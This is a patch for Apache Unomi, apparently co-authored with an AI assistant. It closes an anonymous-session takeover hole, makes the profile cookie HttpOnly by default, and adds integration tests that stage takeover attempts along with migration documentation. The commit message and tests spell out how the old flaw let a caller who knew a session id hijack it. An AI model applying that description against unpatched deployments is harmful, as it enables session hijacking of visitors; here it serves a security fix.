private static Profile anonymous() { + Profile anonymousProfile = new Profile(); + anonymousProfile.getSystemProperties().put("isAnonymousProfile", true); + return anonymousProfile; + } + + private static void setField(Object target, String fieldName, Object value) throws Exception { + Field field = target.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(target, value); + } +} diff --git a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java index f5d1a145dc..8932eac7d7 100644 --- a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java +++ b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java @@ -58,7 +58,7 @@ public class WebConfig { int contextserver_profileIdCookieMaxAgeInSeconds() default 31536000; @AttributeDefinition - boolean contextserver_profileIdCookieHttpOnly() default false; + boolean contextserver_profileIdCookieHttpOnly() default true; @AttributeDefinition String allowed_profile_download_formats() default "csv,yaml,json,text"; diff --git a/web-servlets/src/main/resources/org.apache.unomi.web.cfg b/web-servlets/src/main/resources/org.apache.unomi.web.cfg index eb488515d8..ad620bc11d 100644 --- a/web-servlets/src/main/resources/org.apache.unomi.web.cfg +++ b/web-servlets/src/main/resources/org.apache.unomi.web.cfg @@ -23,7 +23,7 @@ contextserver.profileIdCookieName=${org.apache.unomi.profile.cookie.name:-contex # This setting controls the maximum age of the profile cookie. By default it is set to a year. contextserver.profileIdCookieMaxAgeInSeconds=${org.apache.unomi.profile.cookie.maxAgeInSeconds:-31536000} # This setting controls if the cookie should be flagged as HttpOnly or not. -contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-false} +contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-true} #Allowed profile download formats, actually only csv (horizontal and vertical), json, text and yaml are allowed. allowed.profile.download.formats=${org.apache.unomi.profile.download.formats:-csv,yaml,json,text} # This setting allow for request size (Content-length) protection. Checking that the requests do not exceed the limit. From 7f92f483ec6159380c4734eff3ab0085e002412a Mon Sep 17 00:00:00 2001 From: Serge Huber Date: Sun, 16 Aug 2026 09:26:05 +0200 Subject: [PATCH 2/2] UNOMI-975: Close the anonymous-session hole in the public caller binding The ownership rule the previous commit added only reached named sessions. An anonymous session records no owner at all - PrivacyService#getAnonymousProfile returns a profile with no itemId, so the session's profileId is null - which left two ways past it. The de-anonymising branch rebound such a session to whoever presented its id and saved it, and the invalidateSession guard tested "owner differs", which a null owner passed. Either one handed a visitor's session to a caller that merely knew the id. Ownership is now established positively rather than by absence of a mismatch, through a single isOwnedByCookieBearer() used by both call sites, so an unowned session answers "not yours". Binding an anonymous session back to a named profile is reserved for trusted callers; a public caller leaves it anonymous and the visitor picks up a named session once its client rotates the session id. That also stops the rebinding from retroactively re-attributing every event already recorded in the session to a real profile, which is the outcome anonymous browsing was asked for to begin with. The refusal to bind a body profileId now logs at WARN rather than DEBUG, matching the two sibling refusals: an integration that used to bind a profile this way stops working at that line, and DEBUG left an operator with nothing to find. The anonymous case stays at INFO on purpose - it cannot tell a takeover attempt from the visitor who just turned anonymity off, and it repeats until the session id rotates, so a WARN there would devalue the ones that mean something. Also in the same pass: sanitize the one new log statement that interpolated a request-supplied id raw, drop the null guard on a mandatory @Reference so a missing identity service fails loudly instead of silently downgrading every caller to untrusted, and reorder the profile-switch branch so the security condition reads without a double negative. Tests: the anonymous takeover is pinned at unit level for both the rebinding and invalidateSession routes, plus the trusted caller that must still be allowed through. ContextEndpointBaselineIT gains end-to-end coverage for the anonymous takeover, for /eventcollector - previously only exercised for compatibility, never for the hardening it shares with /context.json - and a runtime assertion that the profile cookie really is issued HttpOnly rather than only that the shipped default says so. The foreign-session test now also asserts the refused id is not echoed and that the rightful owner still holds the session afterwards. Docs: the migration guide gains the "Client-facing hardening (3.1)" section that four pages already linked to but which was never written, covering each field's 3.0 and 3.1 behaviour, the HttpOnly default and the widened cookie validation. Corrected the claim in builtin-event-types and recipes that cross-profile targetId and systemProperties.* writes require a trusted caller - that gate is source-address based and independent of this distinction - and the session rules in how-profile-tracking-works, which stated the guarantee more broadly than the code delivered. Co-Authored-By: Claude Opus 5 (1M context) --- .../itests/ContextEndpointBaselineIT.java | 164 +++++++++++++++++- .../apache/unomi/itests/ContextServletIT.java | 21 ++- .../main/asciidoc/builtin-event-types.adoc | 9 +- .../asciidoc/how-profile-tracking-works.adoc | 6 +- .../migrations/migrate-3.0-to-3.1.adoc | 44 ++++- manual/src/main/asciidoc/recipes.adoc | 8 +- .../unomi/rest/exception/LogSanitizer.java | 8 +- .../service/impl/RestServiceUtilsImpl.java | 88 ++++++++-- ...estServiceUtilsImplProfileBindingTest.java | 106 ++++++++++- 9 files changed, 414 insertions(+), 40 deletions(-) diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java index 2c51a5b990..e8c9171099 100644 --- a/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java +++ b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java @@ -42,6 +42,7 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; /** @@ -232,7 +233,14 @@ public void hardened_publicBodyProfileIdIsIgnored() throws Exception { } } - /** A public caller must not be able to adopt a session belonging to someone else. */ + /** + * A public caller must not be able to adopt a session belonging to someone else. + *

+ * Three things have to hold, not just the first: the caller must not end up on the other's + * profile, the refused id must not be echoed back (or the client keeps replaying it), and the + * other visitor must still hold the session afterwards - refusing by handing the session to the + * caller anyway would satisfy the first assertion alone. + */ @Test public void hardened_publicCallerCannotAdoptAForeignSession() throws Exception { String otherSessionId = "baseline-other-sess-" + System.currentTimeMillis(); @@ -249,6 +257,160 @@ public void hardened_publicCallerCannotAdoptAForeignSession() throws Exception { assertEquals(200, attempt.getStatusCode()); assertTrue("the untrusted caller must not end up on the other's profile", !otherProfileId.equals(attempt.getContextResponse().getProfileId())); + assertNull("a refused session id must not be echoed back to the caller", + attempt.getContextResponse().getSessionId()); + + // The rightful owner comes back: the session must still be theirs and still be accepted. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(otherSessionId), + other.getCookieHeaderValue(), otherSessionId); + assertEquals("the rightful owner must keep its profile", otherProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and must not have lost the session to the caller that was refused", + otherSessionId, ownerAgain.getContextResponse().getSessionId()); + } + + /** + * The same takeover, aimed at an anonymous session. + *

+ * An anonymous session records no owner at all - {@code PrivacyService#getAnonymousProfile} + * returns a profile with no id, so the session's profileId is null - which left the ownership + * rule with nothing to compare the cookie against. Presenting the id was therefore enough to have + * the session rebound to the presenter's own profile and saved. The session must stay anonymous. + *

+ * The check is made through the rightful owner's next request rather than by reading the session + * back: if the takeover had happened the session would now carry a real, foreign profile, and the + * owner would be refused by the ownership rule that covers named sessions. + */ + @Test + public void hardened_publicCallerCannotTakeOverAnAnonymousSession() throws Exception { + String victimSessionId = "baseline-anon-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse victim = postContextJson(newContextRequest(victimSessionId), null, victimSessionId); + String victimProfileId = victim.getContextResponse().getProfileId(); + + try { + // The visitor asks for anonymous browsing, then makes one request so the session picks the + // anonymous profile up. + privacyService.setRequireAnonymousBrowsing(victimProfileId, true, TEST_SCOPE); + keepTrying("Profile should require anonymous browsing", + () -> privacyService.isRequireAnonymousBrowsing(victimProfileId), + Boolean.TRUE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + postContextJson(newContextRequest(victimSessionId), victim.getCookieHeaderValue(), victimSessionId); + keepTrying("Session should have become anonymous", + () -> profileService.loadSession(victimSessionId), + session -> session != null && session.getProfileId() == null, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + // Someone else presents that session id with their own cookie. + String attackerSessionId = "baseline-anon-attacker-" + System.currentTimeMillis(); + TestUtils.RequestResponse attacker = postContextJson(newContextRequest(attackerSessionId), null, attackerSessionId); + String attackerProfileId = attacker.getContextResponse().getProfileId(); + postContextJson(newContextRequest(victimSessionId), attacker.getCookieHeaderValue(), victimSessionId); + + keepTrying("The anonymous session must not be reassigned to the caller", + () -> profileService.loadSession(victimSessionId), + session -> session != null && !attackerProfileId.equals(session.getProfileId()), + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + // And the rightful owner is still served by it. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(victimSessionId), + victim.getCookieHeaderValue(), victimSessionId); + assertEquals("the anonymous visitor must keep its own profile", victimProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and must keep its session", victimSessionId, + ownerAgain.getContextResponse().getSessionId()); + } finally { + privacyService.setRequireAnonymousBrowsing(victimProfileId, false, TEST_SCOPE); + } + } + + /** + * The same body-profileId claim, aimed at {@code /eventcollector}. + *

+ * Both endpoints share {@code initEventsRequest}, so this passes today - which is exactly why it + * is worth pinning. The collector reads its {@code sessionId}/{@code profileId} from a different + * request model and even falls back to a query parameter, so a change on that side could route + * around the binding rule without any context.json test noticing. + *

+ * The collector's response body carries no profile id, so the assertion is on the profile cookie + * the request is answered with: that is the profile the server decided the caller is. + */ + @Test + public void hardened_eventCollectorIgnoresPublicBodyProfileId() throws Exception { + String otherProfileId = "baseline-ec-other-" + System.currentTimeMillis(); + Profile other = new Profile(otherProfileId); + profileService.save(other); + keepTrying("Other profile should be saved", () -> profileService.load(otherProfileId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + String sessionId = "baseline-ec-claim-" + System.currentTimeMillis(); + EventsCollectorRequest claim = newEventsRequest(sessionId); + claim.setProfileId(otherProfileId); + + HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(claim), ContentType.APPLICATION_JSON)); + + try (CloseableHttpResponse response = httpClient.execute(post)) { + String setCookie = response.getFirstHeader("Set-Cookie") == null + ? "" : response.getFirstHeader("Set-Cookie").getValue(); + assertFalse("the eventcollector must not bind a public caller to a body profileId, got: " + setCookie, + setCookie.contains(otherProfileId)); + } + } finally { + profileService.delete(otherProfileId, false); + } + } + + /** And the session half of the same rule, again through {@code /eventcollector}. */ + @Test + public void hardened_eventCollectorCannotAdoptAForeignSession() throws Exception { + String otherSessionId = "baseline-ec-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse other = postContextJson(newContextRequest(otherSessionId), null, otherSessionId); + String otherProfileId = other.getContextResponse().getProfileId(); + + String callerSessionId = "baseline-ec-caller-" + System.currentTimeMillis(); + TestUtils.RequestResponse caller = postContextJson(newContextRequest(callerSessionId), null, callerSessionId); + + HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.addHeader("Cookie", caller.getCookieHeaderValue()); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(newEventsRequest(otherSessionId)), + ContentType.APPLICATION_JSON)); + + try (CloseableHttpResponse response = httpClient.execute(post)) { + String setCookie = response.getFirstHeader("Set-Cookie") == null + ? "" : response.getFirstHeader("Set-Cookie").getValue(); + assertFalse("presenting a foreign session id must not move the caller onto its owner's profile, got: " + + setCookie, setCookie.contains(otherProfileId)); + } + + // The owner still has the session. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(otherSessionId), + other.getCookieHeaderValue(), otherSessionId); + assertEquals("the rightful owner must keep its profile", otherProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and its session", otherSessionId, ownerAgain.getContextResponse().getSessionId()); + } + + /** + * The profile cookie must actually be issued {@code HttpOnly} by a running server. + *

+ * The shipped defaults are checked separately as configuration text; this asserts the value that + * survives the whole path from that default through {@code WebConfig} and + * {@code ConfigSharingService} into the {@code Set-Cookie} header. Binding a public caller to the + * profile its cookie names only means anything while page script cannot read that cookie, so the + * flag is part of the security model rather than a preference. + */ + @Test + public void hardened_profileCookieIsHttpOnly() throws Exception { + String sessionId = "baseline-httponly-" + System.currentTimeMillis(); + TestUtils.RequestResponse response = postContextJson(newContextRequest(sessionId), null, sessionId); + + String setCookie = response.getCookieHeaderValue(); + assertNotNull("a first visit must be issued the profile cookie", setCookie); + assertTrue("the profile cookie must be HttpOnly, got: " + setCookie, + setCookie.toLowerCase().contains("httponly")); } // ------------------------------------------------------------------ helpers diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java index f68904a6f3..36ce3393db 100644 --- a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java +++ b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java @@ -473,11 +473,16 @@ public void testPublicCaller_mismatchedBodyProfileId_ignored() throws Exception } /** - * End-to-end guard for anonymous browsing. The session-ownership check added for public callers - * deliberately skips anonymous profiles today; any future tightening of it must not detach the - * session of a visitor who is legitimately browsing anonymously. That failure would be invisible - * at unit level in the endpoint wiring, hence this IT: it asserts the visitor's own session id is - * still echoed back (a refused session is suppressed from the response) after anonymisation. + * End-to-end guard for anonymous browsing: a visitor who is legitimately browsing anonymously must + * never have their own session detached. That failure would be invisible at unit level in the + * endpoint wiring, hence this IT — it asserts the visitor's own session id is still echoed back, + * since a refused session is suppressed from the response. + *

+ * The de-anonymising step at the end is the one place where the session-ownership rule cannot be + * applied: an anonymous session records no owner, so nothing can be matched against the cookie. + * A public caller therefore keeps an anonymous session instead of having it bound back to a named + * profile. What must hold either way is that the visitor is still served and still holds the + * session; being refused here would strand every visitor who turns anonymity off. */ @Test public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception { @@ -515,7 +520,9 @@ public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception { anonymousResponse.getContextResponse().getSessionId()); assertEquals(sessionId, anonymousResponse.getContextResponse().getSessionId()); - // And turning anonymity back off must keep working too (the de-anonymising branch). + // And turning anonymity back off must keep serving the visitor. For a public caller the + // session stays anonymous rather than being rebound (see this test's javadoc); the profile + // it is served as is still its own. privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE); keepTrying("Anonymous browsing should be disabled again", () -> privacyService.isRequireAnonymousBrowsing(profileId), @@ -532,6 +539,8 @@ public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception { assertEquals(200, deanonymisedResponse.getStatusCode()); assertNotNull("Leaving anonymous browsing must not refuse the visitor's own session", deanonymisedResponse.getContextResponse().getSessionId()); + assertEquals("and must keep serving it under the visitor's own profile", profileId, + deanonymisedResponse.getContextResponse().getProfileId()); } finally { privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE); } diff --git a/manual/src/main/asciidoc/builtin-event-types.adoc b/manual/src/main/asciidoc/builtin-event-types.adoc index 92c5bf6a61..8a4402a311 100644 --- a/manual/src/main/asciidoc/builtin-event-types.adoc +++ b/manual/src/main/asciidoc/builtin-event-types.adoc @@ -242,9 +242,12 @@ image::form-event-type.png[] This event is usually used by user interfaces that make it possible to modify profile properties, for example a form where a user can edit his profile properties, or a management UI to modify. -Note that this event type is a protected event type that is only accepted from configured third-party servers -(or equivalently from a trusted private-key / administrator caller in 3.1). Cross-profile updates and -`systemProperties.*` writes also require a trusted caller — see <<_client_facing_hardening_3_1,client-facing hardening>>. +Note that this event type is a protected event type that is only accepted from configured third-party servers, which are +authorized by source IP address (and in V2 compatibility mode by an `X-Unomi-Peer` key valid for that address). That +gate is separate from the public-versus-trusted caller distinction that governs which profile and session a request may +bind to — see <<_client_facing_hardening_3_1,client-facing hardening>>. Once the event is accepted, its `targetId` +cross-profile update and its `systemProperties.*` writes are not subject to a further caller check, so the address +allowlist is what protects them. ===== Structure definition diff --git a/manual/src/main/asciidoc/how-profile-tracking-works.adoc b/manual/src/main/asciidoc/how-profile-tracking-works.adoc index 3b7c35f4c8..c76dfafa49 100644 --- a/manual/src/main/asciidoc/how-profile-tracking-works.adoc +++ b/manual/src/main/asciidoc/how-profile-tracking-works.adoc @@ -241,14 +241,16 @@ Apache Unomi attempts to identify the visitor's profile through the following pr * **Public callers** (public API key / unauthenticated context): the profile cookie is the **only** profile bearer. A body or query `profileId` is **ignored** (even when no cookie is present). * **Trusted callers** (system administrator or tenant private-key / `TENANT_ADMINISTRATOR`): an explicit body/query `profileId` is honored and may differ from the cookie. * Cookie name defaults to `context-profile-id` (configurable via `org.apache.unomi.profile.cookie.name`). - * Cookie values are validated against a JSON schema — invalid values (for example containing script tags) cause a `400 Bad Request`. + * Cookie values are validated against a JSON schema — invalid values (for example containing script tags) cause a `400 Bad Request`. Since 3.1 the cookie is read on every request, so this also applies when the request supplies an explicit `profileId`; before, a malformed cookie went unnoticed on those requests. * The resolved profile ID is used to attempt loading the profile from the database. 2. **Session Profile Override** (if session exists): * If a session is found (see Step 2) and its profile differs from the request profile, Unomi switches to the session profile **only when**: ** the profile cookie already matches the session owner, **or** ** the caller is trusted (and is not keeping an explicit trusted body `profileId` override). - * Otherwise the session is **detached** for this request (Unomi does not adopt a foreign session profile for a public caller). + * Otherwise the session is **detached** for this request (Unomi does not adopt a foreign session profile for a public caller), and the supplied session id is **not echoed back** in the response — a client that saw its own id returned would keep replaying an id the server did not accept. + * **Anonymous sessions** are a special case. Anonymity removes the owner from the session (`getAnonymousProfile` returns a profile with no ID, so the session's `profileId` is `null`), which leaves the rule above nothing to compare the cookie against. Binding such a session back to a named profile — what happens when a visitor turns anonymous browsing off — is therefore reserved for **trusted** callers. For a public caller the session stays anonymous, and the visitor gets a named session again once their client uses a new session id. + * `invalidateSession=true` re-creates the session under the supplied id, so it observes the same rule: a public caller may only invalidate a session its own cookie owns, and a session with no recorded owner cannot be invalidated this way. 3. **Profile Creation**: If no profile ID is found or the profile doesn't exist: * If a profile ID was provided (from cookie, or from a trusted body/query `profileId`) but doesn't exist in the database, creates a new profile with that ID diff --git a/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc b/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc index a041bf2d2e..59350e8eca 100644 --- a/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc +++ b/manual/src/main/asciidoc/migrations/migrate-3.0-to-3.1.adoc @@ -180,7 +180,49 @@ public void updateKeys(String publicKey, String privateKey) { ==== No API Contract Changes -All API endpoints remain the same between 3.0 and 3.1. The only differences are in the authentication mechanism and tenant resolution. Request/response payloads are unchanged. +All API endpoints remain the same between 3.0 and 3.1, and request/response payloads are unchanged in shape. The differences are in the authentication mechanism, tenant resolution, and which of the identity fields a public caller sends to `/context.json` and `/eventcollector` the server acts on — see <<_client_facing_hardening_3_1,Client-facing hardening (3.1)>> below. + +[#_client_facing_hardening_3_1] +==== Client-facing hardening (3.1) + +`/cxs/context.json` and `/cxs/eventcollector` are reachable without authentication, or with a tenant *public* API key. In 3.1 the identity fields those endpoints accept are treated as claims to be checked rather than as instructions. + +A caller is **trusted** when it holds a tenant private key or authenticates as a system administrator (`ROLE_UNOMI_ADMIN` or `ROLE_UNOMI_TENANT_ADMIN`). A tenant *public* API key is **not** trusted: it identifies the tenant, not the visitor. + +.What changed for public callers +[cols="1,2,2", options="header"] +|=== +| Field | 3.0 | 3.1 + +| Body/query `profileId` +| Selected the profile. +| Ignored. The profile cookie (`context-profile-id` by default) is the only profile bearer, including when no cookie is present. Trusted callers may still pass it, and it may differ from the cookie. + +| `sessionId` +| Any existing session was continued, and was rebound to the caller's profile when the two differed. +| Continued only when the profile cookie already owns that session. Otherwise the session is *detached* for the request rather than rebound, and its id is not echoed back in the response. + +| `sessionId` naming an *anonymous* session +| Rebound to the caller's profile when the caller was not itself browsing anonymously. +| Left anonymous. An anonymous session records no owner, so there is nothing to check the cookie against; only a trusted caller may bind it to a named profile. A visitor who turns anonymous browsing off keeps an anonymous session until their client uses a new session id. + +| `invalidateSession=true` +| Re-created the session under the supplied id. +| Allowed only when the profile cookie owns that session. A session with no recorded owner — an anonymous one — cannot be re-created this way by a public caller. +|=== + +Anonymous browsing, personas and profile overrides are otherwise unchanged, and a caller with no cookie is still issued a profile: that is how tracking has always started. + +===== Two behaviour changes to check before upgrading + +* **The profile cookie now defaults to `HttpOnly`.** The model above holds only while page script cannot read the cookie, so the default is part of the design rather than a preference. If your page code reads `document.cookie` for the profile id, read `profileId` from the JSON response instead. Setting `org.apache.unomi.profile.cookie.httpOnly=false` (env `UNOMI_PROFILE_COOKIE_HTTPONLY`) restores the old default, at the cost of that guarantee. +* **A malformed profile cookie is rejected on more requests than before.** The cookie is validated against a JSON schema and an invalid value answers `400`. In 3.0 the cookie was only read when no `profileId` was supplied, so a request carrying both an explicit `profileId` and a malformed cookie was still served; in 3.1 it fails. This mainly affects server-side callers that forward a browser's raw `Cookie` header. + +===== Migrating a client + +* Browser trackers need no change: the browser sends the cookie automatically, and the response still carries `profileId` and `sessionId`. +* A backend that named a profile through body `profileId` while authenticating with a *public* key must switch to a tenant private key, or to system administrator credentials. Until it does, the server logs a `WARN` naming the ignored `profileId` on every such request. +* A client that supplied a session id it did not own now finds `sessionId` absent from the response. Treat that as "start a new session" and generate a fresh id rather than replaying the old one. === Migrating your existing data diff --git a/manual/src/main/asciidoc/recipes.adoc b/manual/src/main/asciidoc/recipes.adoc index b40361ea38..84b74a1abe 100644 --- a/manual/src/main/asciidoc/recipes.adoc +++ b/manual/src/main/asciidoc/recipes.adoc @@ -134,8 +134,12 @@ event data to the profile. This is simpler than it sounds, as usually all it req defining the corresponding JSON schema and you're ready to update profiles using events. - Use the protected built-in "updateProperties" event. This event is designed to be used for administrative purposes -only. Cross-profile updates and `systemProperties.*` writes require a **trusted** caller (tenant private key or system -administrator). Prefer custom events for public visitors. Again, prefer the custom events solution because as this is a +only. Being a protected event type, it is only accepted from an authorized source address — a configured third-party +server, or in V2 compatibility mode an `X-Unomi-Peer` key valid for that source address. Note that this is an +address-based gate: it is independent of the public-versus-trusted caller distinction that governs profile and session +binding (see <<_client_facing_hardening_3_1,client-facing hardening>>), and once the event is accepted its `targetId` +and `systemProperties.*` writes are not further restricted. Prefer custom events for public visitors. Again, prefer the +custom events solution because as this is a protected event it will require sending trusted credentials, and as Unomi only supports a single key for the moment it could be problematic if the key is intercepted. But at least by using an event you will get the benefits of auditing and historical property modification tracing (see <<_request_tracing_explain,request tracing>>). diff --git a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java index 5747a97228..ce13731eb6 100644 --- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java +++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java @@ -49,9 +49,11 @@ private LogSanitizer() { * {@code \ { } % $}) with an underscore. This removes newlines, tabs and other control * characters that could be used for log injection. *

- * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is the one implementation - * of this filter, shared with the bundles outside {@code rest} that also log request-derived - * values. This class keeps only the REST-specific length limits and field shapes below. + * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which holds the one + * implementation of this filter. It lives in {@code api} so that bundles outside {@code rest} + * which log request-derived values can reuse it instead of growing a second copy; as of this + * change its only callers are in {@code rest}. This class keeps the REST-specific length limits + * and field shapes below. *

* Note the empty-string result for {@code null} is preserved here: the exception mappers embed * this in user-facing messages where the literal {@code "null"} would read as a value. diff --git a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java index 0b67ce71d6..7ed3a0987d 100644 --- a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java +++ b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java @@ -138,6 +138,11 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St } final String requestedBodyProfileId = profileId; + // Read unconditionally, where before the cookie was only consulted when no body profileId was + // supplied. Every check below needs to know the cookie bearer even when the body names someone + // else - that mismatch is the thing being guarded against. Note the widened side effect: + // getProfileIdCookieValue rejects a schema-invalid cookie with a 400, so a request carrying + // both an explicit profileId and a malformed cookie now fails where it used to be served. final String cookieProfileIdAtRequest = getProfileIdCookieValue(request); // Resolved once: the caller's identity cannot change during a single request, and the // checks below must all agree on it. @@ -148,8 +153,11 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St if (!trustedCaller) { // Public callers: the cookie is the only profile bearer, so a body profileId never selects // the profile — including when no cookie is present, where there is nothing to match against. + // Logged at WARN like the two other refusals below, and for the same reason: this is an + // identity claim being rejected. An integration that used to bind a profile this way + // stops working at this line, and DEBUG would leave an operator with nothing to find. if (requestedBodyProfileId != null && !requestedBodyProfileId.equals(cookieProfileIdAtRequest)) { - LOGGER.debug("Ignoring body profileId {} from public caller (cookie profileId is {})", + LOGGER.warn("Ignoring body profileId {} from public caller (cookie profileId is {})", LogSanitizer.forLogging(requestedBodyProfileId), LogSanitizer.forLogging(cookieProfileIdAtRequest)); } profileId = cookieProfileIdAtRequest; @@ -174,8 +182,13 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St // to it: a public caller may only invalidate a session its own cookie already owns. if (invalidateSession && !trustedCaller && StringUtils.isNotBlank(effectiveSessionId)) { Session existingSession = profileService.loadSession(effectiveSessionId); - if (existingSession != null && existingSession.getProfileId() != null - && !existingSession.getProfileId().equals(cookieProfileIdAtRequest)) { + // An unknown session id is fine - there is nothing to take over, and the request goes on to + // create one. What must not pass is an existing session the cookie bearer cannot be shown to + // own, which includes a session with no owner recorded at all: an anonymous session has a + // null profileId, so an "owner differs" test would wave it through and re-create it under + // the caller's profile. + if (existingSession != null + && !isOwnedByCookieBearer(existingSession.getProfileId(), cookieProfileIdAtRequest)) { LOGGER.warn("Refusing to invalidate session {} owned by profile {} for a public caller " + "whose cookie bearer is {}", LogSanitizer.forLogging(effectiveSessionId), LogSanitizer.forLogging(existingSession.getProfileId()), @@ -222,9 +235,11 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St // Session profile differs from the request profile. Only switch when the // cookie bearer already matches the session owner, or the caller is trusted — // unless a trusted caller explicitly overrode the profile via the body. - boolean cookieOwnsSession = cookieProfileIdAtRequest != null - && cookieProfileIdAtRequest.equals(sessionProfile.getItemId()); - if (!trustedExplicitProfileOverride && (cookieOwnsSession || trustedCaller)) { + boolean cookieOwnsSession = isOwnedByCookieBearer(sessionProfile.getItemId(), cookieProfileIdAtRequest); + if (trustedExplicitProfileOverride) { + LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch", + LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId())); + } else if (cookieOwnsSession || trustedCaller) { Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId()); if (sessionProfileWithId != null) { eventsRequestContext.setProfile(sessionProfileWithId); @@ -233,9 +248,6 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId)); eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp)); } - } else if (trustedExplicitProfileOverride) { - LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch", - eventsRequestContext.getProfile().getItemId()); } else { LOGGER.warn("Refusing to switch profile from {} to session profile {} without matching cookie bearer; " + "detaching session {} for this request", @@ -261,10 +273,36 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St eventsRequestContext.getSession().setProfile(sessionProfile); eventsRequestContext.addChanges(EventService.SESSION_UPDATED); } else if (!requireAnonymousBrowsing && anonymousSessionProfile) { - // User does not want to browse anonymously anymore, update the sessionProfile to real profile - sessionProfile = eventsRequestContext.getProfile(); - eventsRequestContext.getSession().setProfile(sessionProfile); - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + // User does not want to browse anonymously anymore, update the sessionProfile to real profile. + // + // Only a trusted caller may do this. An anonymous session records no owner at + // all - PrivacyService#getAnonymousProfile returns a profile with no itemId, so + // the session's profileId is null - which leaves the ownership rule enforced + // everywhere else in this method with nothing to check the cookie against. The + // rebinding is a write, so honouring it for a public caller would hand the + // session to whoever presents its id, which is exactly what that rule exists to + // prevent. A public caller therefore leaves the session anonymous; the visitor + // picks up a named session again once the client rotates its session id. + // + // Refusing also avoids retroactively re-attributing every event already recorded + // in that session to a real profile, which is the outcome anonymous browsing was + // asked for in the first place. + if (trustedCaller) { + sessionProfile = eventsRequestContext.getProfile(); + eventsRequestContext.getSession().setProfile(sessionProfile); + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } else { + // INFO rather than WARN, unlike the refusals above: those fire on a claim + // that is demonstrably wrong, while this one cannot tell a takeover attempt + // from the visitor who legitimately just turned anonymity off - that is the + // whole difficulty. It also repeats on every request until the client picks + // a new session id, so a WARN here would train operators to ignore the ones + // that do mean something. + LOGGER.info("Not rebinding anonymous session {} to profile {} for a public caller: " + + "an anonymous session has no recorded owner to match the cookie bearer against", + LogSanitizer.forLogging(effectiveSessionId), + LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId())); + } } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) { // User does not want to browse anonymously, use the real profile. Check that session contains the current profile. sessionProfile = eventsRequestContext.getProfile(); @@ -474,9 +512,31 @@ private Profile createNewProfile(String existingProfileId, Date timestamp) { *

